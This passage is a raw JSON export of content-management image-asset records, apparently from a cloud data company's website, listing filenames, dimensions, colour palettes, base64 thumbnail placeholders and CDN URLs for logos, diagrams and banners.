tDlIxca2p/PDrkgFkgBEwAMWABmzRtjvjilrV+TVnqO1ZSvTVpuCODVYoYujAwBuj1JDBvbNi8XQtgaSKbbPotrcVBr/s5F/K8rVTdr/kL90tu23mfDCvJ3nbAjmTSPVYD3Ws3+BvWzQG8n2WL2tBG1XftQG1o12pDq3s/tobavnZkJav/4v/4BiQFO2xthsjEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#385430","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#048f23","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#048f23","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23753e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54cc7c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4ca47c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0af472","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Everactive-logo_black.svg","path":"images/sczeoy4w/production/be27664420cb191f1584faecc3f0b1c57c7da222-183x59.svg","sha1hash":"be27664420cb191f1584faecc3f0b1c57c7da222","size":5051,"uploadId":"v8hikBoJoBWtKffZLjhpWg7IpRL0DxCb","url":"https://cdn.sanity.io/images/sczeoy4w/production/be27664420cb191f1584faecc3f0b1c57c7da222-183x59.svg"} {"_createdAt":"2023-11-01T16:46:25Z","_id":"image-be4c23fca853c010a397b86676e0c935b4013e00-563x188-png","_rev":"gpV4rQ1RP6Oi5x5QrLkAId","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T16:46:25Z","assetId":"be4c23fca853c010a397b86676e0c935b4013e00","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D3Fr;Y?b00NH00%M~qR*00M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.99468085106383,"height":188,"width":563},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABzqAAAc6gFMaZmIAAABd0lEQVQYlW3Rz0sbURDA8QmYGBsELW0PpfRa9FIEwYuX4iHQS4XitQcpxWvotd48ecqhf4LgSfAPyH/gQfyVghbyYzdJdxNSd/fN25n3NvMkQVQkA8PcPnxhAACAiICYIU0JmLnIzK+YeVGhzn/e3gOAFXDOgSYLNhvBSARkyj4MEcNIHFibzWitVxCxgojb/cFg6ar+58P1zd/lRrP9ktiUROS1iLwVkTci8kJEclNAmhSIyKxS6msUxbUojg+CINxqNhu7vu//7nR7X8JbXP+PppKkdh/J/tScrZLJCmQySE32CDLzBHTO5RViOY6TwzhJqkEYbnqeV+12uzW/06v4g+RbENHRUPF5pM1xrM0mkp1DsqBS+whaa+9ByRGbdzrlckq8HoT99622t+H5ne8tr/Pp31CtDRX/iLX5pcjuINmPqcny4zrNTwrHGNIIyE4qc+NS59xMo93LnZxeFk7Pr0pnF/Uiaj3rnJsXkQURGd/C86fcAd15Q0BdiXZhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#315671","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c9bbf","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcca","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0dcfc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c9bbf","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (1).png","path":"images/sczeoy4w/production/be4c23fca853c010a397b86676e0c935b4013e00-563x188.png","sha1hash":"be4c23fca853c010a397b86676e0c935b4013e00","size":14042,"uploadId":"qYgFZWjCWEyDYDYduMJbCB52yEBCVRUB","url":"https://cdn.sanity.io/images/sczeoy4w/production/be4c23fca853c010a397b86676e0c935b4013e00-563x188.png"} {"_createdAt":"2022-11-16T08:19:59Z","_id":"image-be5cc1c1a60b65ea394a1a42f6ec627ad08298c2-1422x800-png","_rev":"PJutSls1mvFq6xuKvmpbcP","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T08:20:25Z","altText":"Analytics pipeline demo for Apache Kafka ecosystem","assetId":"be5cc1c1a60b65ea394a1a42f6ec627ad08298c2","description":"Outside of the core services, we have a few extra stops along the way:\n- The Kafka Connect® framework for subscribing to the Digitransit MQTT feed\n- M3DB as a time series database along the top\n- A Grafana® instance for dashboards","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACPUlEQVQokTXSyW7aQACAYT9+1XsvPVXqcoiqRE1aUiBAIaZhs43jFe/2jPF4G8/YBkMAp1KkSv8TfPoZgFqA2uB/YfqakpbWF1q3dNfS3SupXpP8ovu7sZg+iqlu59B2I9sMQ8pY4KTYx2fj8GwcZOugOTvLIVBLUj0lyZ7uLqQ6h2g3k9HngfHtwVjwpseP0Pp+60FGsg5ToRrM6HBOJ0syWaB+T2M/Pdlfl1gANNvhYu+BnNOiHh8OhEg2YldVA4WHIGcko5lwtMsWPZaMl2S8QL86Sv/LXLtaJb/FZLiJ/hqupNq2DqAbRgDFURTaETDilDCS2bB82X0kXZaOl3QyR39Yl+ehJ21h59l41928v3Y6V7F8Xdp3ldMpg34Fbkvwk+Y+s1bo5CkeTdMpV67kWlCIZpFt2uT4GK2B/nGgfvjhDzvZple6D7XVqYxb4tzlwZDkW2bFeqMbgX0wRYUY3tHfnmJ8Jm/UBcpSbhUJEoIRximlWZm4pculvh6hGJOGUSYC9/2O6y9kJbeCFxhfkqLd4lOQHmOUE3NdOEqOUBbjLMTY8wtbDkPk5ce0vDCWyOvsrbJcqBts+EcYX8LstLDI/ToR9NxXLMBzgbj2eckbcuFoHqryzMsGoHHwmdE28FnSFQ2Y/t4Jz2HSwvRlqmU3M7jcUM+vAisKTOgrrjMSA1YCXvwY1PdObWYvjKimSxGu1cQCzdthLcJnG9aSjUHSFFVbVOeiPmVFE/gY+DjOD06818M6Kk7/AMGyPIM99kPlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1a1b7e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#111252","foreground":"#fff","population":0.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8d95bc","foreground":"#000","population":4.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d95bc","foreground":"#000","population":4.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90def6","foreground":"#000","population":0.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#827d6f","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f29b16","foreground":"#000","population":3.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"metromap-v2-updated.png","path":"images/sczeoy4w/production/be5cc1c1a60b65ea394a1a42f6ec627ad08298c2-1422x800.png","sha1hash":"be5cc1c1a60b65ea394a1a42f6ec627ad08298c2","size":111393,"title":"Digging into the underground","uploadId":"jbfkWOZM5ILe75ouSuK60HwuqPqdsR7a","url":"https://cdn.sanity.io/images/sczeoy4w/production/be5cc1c1a60b65ea394a1a42f6ec627ad08298c2-1422x800.png"} {"_createdAt":"2022-09-17T18:18:06Z","_id":"image-be78998e912292bf615963b18be822918e624d76-1164x432-gif","_rev":"StyfnzRSyhTCbsBlPUJ5SX","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:18:06Z","assetId":"be78998e912292bf615963b18be822918e624d76","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6944444444444446,"height":432,"width":1164},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEI/8QAFhABAQEAAAAAAAAAAAAAAAAAABJR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDMsaSCokAA/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4041","foreground":"#fff","population":1.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04090a","foreground":"#fff","population":35.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04090a","foreground":"#fff","population":35.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b626d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0cfd9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6f70","foreground":"#fff","population":0.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#48a3b6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"cpu_graph.gif","path":"images/sczeoy4w/production/be78998e912292bf615963b18be822918e624d76-1164x432.gif","sha1hash":"be78998e912292bf615963b18be822918e624d76","size":3762689,"uploadId":"4neCp6titfw97g7icBveZueoIsJrmRSV","url":"https://cdn.sanity.io/images/sczeoy4w/production/be78998e912292bf615963b18be822918e624d76-1164x432.gif"} {"_createdAt":"2022-09-14T13:41:27Z","_id":"image-bec52bae2265ff940e0f5ca3ef603648105f4d43-1200x630-jpg","_rev":"zfjncPXGLRWCYOpcpH4BVj","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T13:41:27Z","assetId":"bec52bae2265ff940e0f5ca3ef603648105f4d43","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQADCP/EACIQAAIBBAEEAwAAAAAAAAAAAAECAwAEBRESBhMUITFBkf/EABUBAQEAAAAAAAAAAAAAAAAAAAED/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQIAEQP/2gAMAwEAAhEDEQA/AOj5LcvKz+XOATviD6FBdZZW+weEDY+bcjvrvSjlxpaIDyXPv9raaKOeIxzIrxn5VhsVbzZmho6afoLKS8cb0ZnbvK4GK5vADLyKllGg2vsCqk4o0hjCRIqIvoKo0BVRXFUMz0Ad/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#435162","foreground":"#fff","population":0.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#103c75","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#435162","foreground":"#fff","population":0.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9da4","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7494","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#577899","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c74d4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"M3_product_page_meta_preview.jpg","path":"images/sczeoy4w/production/bec52bae2265ff940e0f5ca3ef603648105f4d43-1200x630.jpg","sha1hash":"bec52bae2265ff940e0f5ca3ef603648105f4d43","size":27657,"uploadId":"GyGfZUhmuDVZ3x7JLiB98GIYqFRJ75kB","url":"https://cdn.sanity.io/images/sczeoy4w/production/bec52bae2265ff940e0f5ca3ef603648105f4d43-1200x630.jpg"} {"_createdAt":"2022-06-30T20:10:00Z","_id":"image-bee6bd09b5f590226bf801e0fca36ea1cc7133ed-1567x625-jpg","_rev":"sI1gFaRN7B5HWmjllAB9ep","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:33Z","assetId":"bee6bd09b5f590226bf801e0fca36ea1cc7133ed","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCS=^*xt*JxbyE@@oxlAo3kr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5072,"height":625,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAQFCP/EAB0QAAEFAAMBAAAAAAAAAAAAAAEAAgMEEQUSIZL/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//EABkRAAMBAQEAAAAAAAAAAAAAAAABEQIDEv/aAAwDAQACEQMRAD8A03drvsyNdHJI0Dw9Tiiu4yXfLE/2iI+M2wouu8qJltG3rG1pJODNKIiRM//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#933605","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f2f05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6671b","foreground":"#fff","population":2.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4babc","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc84","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b1b3","foreground":"#000","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6671b","foreground":"#fff","population":2.86,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bee6bd09b5f590226bf801e0fca36ea1cc7133ed-1567x625.jpg","path":"images/sczeoy4w/production/bee6bd09b5f590226bf801e0fca36ea1cc7133ed-1567x625.jpg","sha1hash":"bee6bd09b5f590226bf801e0fca36ea1cc7133ed","size":77109,"uploadId":"O2F2CeM5qHJom75s7BX7oGawwgBANqjO","url":"https://cdn.sanity.io/images/sczeoy4w/production/bee6bd09b5f590226bf801e0fca36ea1cc7133ed-1567x625.jpg"} {"_createdAt":"2022-06-30T20:09:33Z","_id":"image-bef9b2fb25a15eb70d75c6e607251bc7a246f78c-1064x497-png","_rev":"ecafYeJdFUSoqAVEkXNr7v","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:17Z","assetId":"bef9b2fb25a15eb70d75c6e607251bc7a246f78c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04U~OxtITtQWB9ZWVV[ayt7ent7axofxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.140845070422535,"height":497,"width":1064},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABIUlEQVQokS1RCY7EMAjrQ6ZJOMw5u/9/3op2JctCjsABXySyDt17f9b+7H3vs/Y5xAr3SPNg0bXp1e+97/XwPvfaF4se5kW0Dh1iYmXGQJRYiYWmNpYRiXUffrH2uUiEVAhKUBYVgWooXGCk8oyDIvDCnFUPK5GuQ//OR55+gQhgAQt1F1MSYYHCXxEjgkQPydo0zpv4PkSqYgZz89fBGCoGNYfP8gKXEcFmrNiHrj3b8iJmmEV6lEebpaqrGcItMrLdC0ggxBwRlkGiF82/oGaeFdVZ3fWt+kZUZkd11Lf7t/Inc149M6qi6ohcCMuu7K7u4XrQ09/9U/3Nl2duDbqy2iLnYOoWVRahMAUUJlP4c6TBc3mw6kQxaWCCEPms/QcRW01gcMx8nwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4e2c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#38260d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfb19b","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfb19b","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b7a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a854f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#946444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bef9b2fb25a15eb70d75c6e607251bc7a246f78c-1064x497.png","path":"images/sczeoy4w/production/bef9b2fb25a15eb70d75c6e607251bc7a246f78c-1064x497.png","sha1hash":"bef9b2fb25a15eb70d75c6e607251bc7a246f78c","size":92083,"uploadId":"RgiDqs2HXcpxK1SQW2G2vOSFmTgL6vSn","url":"https://cdn.sanity.io/images/sczeoy4w/production/bef9b2fb25a15eb70d75c6e607251bc7a246f78c-1064x497.png"} {"_createdAt":"2022-11-16T06:02:59Z","_id":"image-bf319534ba529e440def7829f29c09bd0834349d-1667x1250-png","_rev":"PJutSls1mvFq6xuKvmPK7d","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T06:54:50Z","altText":"Hand holding a crab holding a cookie [Aiven cookie recipe]","assetId":"bf319534ba529e440def7829f29c09bd0834349d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VHG7f0{f003VBjB:9[n3}@%10KKN-:#==M-q$*rqRQI;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3336,"height":1250,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEJElEQVQ4jYWUf0zUZRzH39yh5Q9I848UbHNktfVjY8CRiAUooiDx6w6kskgUU5DKlF/RQQUyjHT86O6A474/Dw7ui2CK3B0qNgEXsblVUmu05bTUBKNoGPLj+bQv+oettT7bs+f543neez2fPa8H+I/q7e3FwMAARkZGMDQ0pPF4PL5Op/Nxnuf9zWbzEqPRCKvVCp7nQUT432putsNkMsFut2sVRVnrdDqzZFmu4TiuUhTFl9vb25er+4xGI/r6+v55mEL0IJ0BtKgKpFPXepyvOAZz/xewS+IySRR3SZL4pSSJ4wLP35RlSVYUJdTZ6dKqdKe7uoBn9twbFGK4F/LAzNYloWByGOdsLeA43l8QxEpBkMY4XiBrk42ammxDoigmXhpweed9XKfeAmHp5cDyVMyTsfth0xv3gQWngvy34+esAg2IcKLl6KpOx2flbbLlptBUR9b66rvW+ppzNTXVcRHpxiV4Yqemw2mHd9BB+G3IVQlTwVSywASQLglMZ1jKQg1PsXXJL1JY9PqJoojoy60ZlrNy7mibOYcUS/afXbZsR3Fh1lY8+eZarNm5NPj1Zjz8fCbgl6ES6u8RhiaowSsoRJ9AuuQ6Fp7ono2Nd/12KP7UN7btw90NO6akT9JIqTbcucDruxqqMjOT91Zsfau4PuCrfreWaBTGKv5+YLBKaXiIdPrNLFSvzL6UenUqLXNs4v3CyWvWI1ODyqczXfYy1tpQwJT6d2fPNOd/7+kw8c2t7R852jq2uE6f8mmWeLS2KQCFpoCCUsFeSH2MQpONc5FpVyb3HLx93Sbc+PGMZ+rb/gs02HeWBs4p1Oey0dkTpjl3p/XWqROtvYriLHM4HBs6jh9fXH74MCRJAig8HqRLAAvXB1BYnHk2KX18vLbuzncXL0709PT85ZCFGclqnpNtpimH1PCrQ268ZBebWiRJzOV4IdBisfhwHO+lPr+amlqANkWBIqLBouJXU1Tkkdm02NE/qgrZcAc3/nlt8S/CgdiJxn2Rv1fm6PuKDh2oKjZ++GpZWXlQZeWRFSUlRk1bmwPd3S4cPXoMHMcBFBsGitwMFrNpKW3TvcLSggam9q+/M1YSeftq0dPXrrzzyK0f9vtc8Oz22/1eelTAtsSExVGPwqv95Hn8dH0CoihAlmVUV1ejsbERoMQgMBBY3HovMjy3hr0WkDuXtdI197bvZXZowddUgJNUiL1U7LVaVVar9Z531+12g+cFmM0WJKWkzPdP7SMo0w9spz/mtmwA2xGgpV2r/CjHN5oOLNhFeV6ZLB8bZ/K9Vt446KvV7PagIkeP7OwclJaWIi8vb17dktLSBzx+NgMsIgYsORgzg8D0B8swXeijnS5atHCm0Hvh3XyNxpQeqEoD9761wBtdoDNATEwM8gsK/vWr/A3XbholgHze/QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35494a","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b0e0a","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6e0c","foreground":"#fff","population":3.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3becd","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59e92","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b66766","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6e0c","foreground":"#fff","population":3.33,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Cookie_banner_final.png","path":"images/sczeoy4w/production/bf319534ba529e440def7829f29c09bd0834349d-1667x1250.png","sha1hash":"bf319534ba529e440def7829f29c09bd0834349d","size":690441,"title":null,"uploadId":"JCd9FdZg2PWrLJExqXVGRE0wTcWmlc5P","url":"https://cdn.sanity.io/images/sczeoy4w/production/bf319534ba529e440def7829f29c09bd0834349d-1667x1250.png"} {"_createdAt":"2023-05-23T08:36:47Z","_id":"image-bf45a00161069305de05ab1315bbdfd96fffc444-200x200-jpg","_rev":"4JMA3H9bBgAwAcyypYms2x","_type":"sanity.imageAsset","_updatedAt":"2023-05-23T08:36:47Z","assetId":"bf45a00161069305de05ab1315bbdfd96fffc444","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBBg7Boa02j;9Gj}k0fffUj?03a+%Naza#tAfUWBfOWB4oa%ofay?b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBwMG/8QAJhAAAQQCAQMDBQAAAAAAAAAAAQIDBAUAESEGEkETFTFRY3GTsf/EABgBAAMBAQAAAAAAAAAAAAAAAAMEBgIF/8QAGxEBAAICAwAAAAAAAAAAAAAAAQACAwQSMTL/2gAMAwEAAhEDEQA/AMbqIdWuhesrZ6SlKXgylLAB3xvZ3kpFR087OiRXvd2FytemXGwAQfg/jIlDFendElLTDshKLBCnEtDZ7dc56+1lv9Q21EWqOZEXCfCApSeC1439Mo8m/fPZFgSgTJ7SGIljJjpUVBpxSAT50cZa3zW7uefvr/uMeroNgZjlKKHYTIQUmJJeZSrkhCiN5Yx7y0V82Er9hxjOTqg5YS3U6pJUO5RJUeST5xjGW1PJF5//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363664","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b0c8c","foreground":"#fff","population":8.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3f3f5","foreground":"#000","population":8.44,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f3f3f5","foreground":"#000","population":8.44,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8588f3","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787c92","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1014b0","foreground":"#fff","population":1.71,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Project A logo.jpeg","path":"images/sczeoy4w/production/bf45a00161069305de05ab1315bbdfd96fffc444-200x200.jpg","sha1hash":"bf45a00161069305de05ab1315bbdfd96fffc444","size":3632,"uploadId":"7ASEbjPrkX4vASQsRv2EqF16pk0y7zZI","url":"https://cdn.sanity.io/images/sczeoy4w/production/bf45a00161069305de05ab1315bbdfd96fffc444-200x200.jpg"} {"_createdAt":"2022-06-16T23:49:33Z","_id":"image-bf4b3cfb3aded950f9ad4ab70437b205cf9f21c7-1200x630-jpg","_rev":"0HOthdQkSgJdYc0C9w1aEM","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:33Z","assetId":"bf4b3cfb3aded950f9ad4ab70437b205cf9f21c7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA@9{#RkF{[o$-aLe.oyVt+bJBofxCI;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAwQA/8QAIhAAAgICAQQDAQAAAAAAAAAAAQIDBAAREgUhMUETInGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQUGB//EABsRAQEAAwADAAAAAAAAAAAAAAECAAMRBRIV/9oADAMBAAIRAxEAPwC6rXrpXfkEZmHvyPzDuT1+mdI+cOqzSy8PunLSa8jKn7xL2H8wpoY7CKk6B1XuAfWQ/wBP02DZ0zWNxWyU7hURXsUoZSHLMu2IGhvebKoY1jjVEUKo8AZsW7fI1VrJwwy0Adz/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960502","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":7.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background